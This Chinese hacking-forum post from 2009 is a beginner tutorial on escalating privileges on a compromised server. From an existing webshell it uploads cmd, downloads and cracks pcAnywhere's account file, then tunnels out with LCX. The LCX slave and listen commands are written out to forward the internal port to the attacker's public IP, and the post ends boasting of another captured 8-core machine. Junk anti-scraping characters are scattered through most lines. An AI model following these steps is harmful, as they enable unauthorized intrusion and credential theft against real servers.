|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。: d7 N7 ~; @8 U& o+ i0 r! q) W
6 r; @+ Y4 G/ u5 w" \1 E* b7 O/ n- y提权方法：pcanywhere+LCX) D: \: O4 Z3 q: B0 A- g
$ A U! L$ U+ Q* J7 [ B" e
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。' ]5 v9 Y! V- ^/ o4 n6 j4 a# G' t
5 J; B, {, n- N6 p在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
1 Y, r1 ^ u/ u0 T- m
" r9 f8 t# d( F+ B- s" g L, X
# l8 ]6 [ ]" Q, n/ r+ a查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。; D1 E! j3 W% b5 C- S' |7 Q$ f
" R z, Y" X% Z {
# J, X% {9 c( M% S# ~呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
m" G/ B6 h6 i. V5 D! U* J$ C; W+ a5 k
3 D8 k4 [1 v4 g1 X8 ^
0 d. S$ \1 J+ a9 T: G% F! Y% N4 w3 d
* U$ ?; }" [2 d7 P& b+ u( S, } n由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
/ `6 i1 w! S' T( P" K6 n
4 O2 @7 O! r' w5 M- N8 a$ N" x
4 p9 t6 z* U2 @: C) gLCX的用法再简单说下：
5 \3 Q8 z9 Z) v. R6 |" c
) A; \, Y4 j% N: S R服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）$ A* q6 r2 X& c% w7 ]
+ ?+ w* M2 `8 e! Q. m# P- v5 ?本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）: }* N3 L7 K. H1 m9 M
( v9 u7 w M3 z$ N( z
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
; i2 x6 ]/ w0 ^) W( ?; V( ?顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``: S) E5 h( {! |
8 m+ ]/ |5 ?( f: N. t
6 \# _( ~! n* p) V- Y2 o M2 {# o
" _9 F1 U8 v4 y! y% X/ y9 D
8 Q: d! V0 j$ L. S! x# C呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。0 i9 q. [. r5 Z5 t8 p
. G! v% m9 k6 X8 R, i/ v
8 B% I2 K6 P3 y, f: w) o0 H" {0 y) o a( J0 p9 N
4 w5 R4 i M/ |4 u8 [ V我们本地连接试试，输入我们刚破解的账号密码
% P! s6 R e7 a* c$ p, Q8 n3 h
5 J# k8 |+ O6 d5 r2 Z* `
/ l1 T O: V6 c7 B5 X呵呵``连接成功,服务器不错，又一个8核^︵^
9 K- R, Q P4 P% z* v2 W6 D7 H( _+ S7 M6 V
; n4 d9 C0 H# g8 n( u, y
7 g# v# T: S3 j' N |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
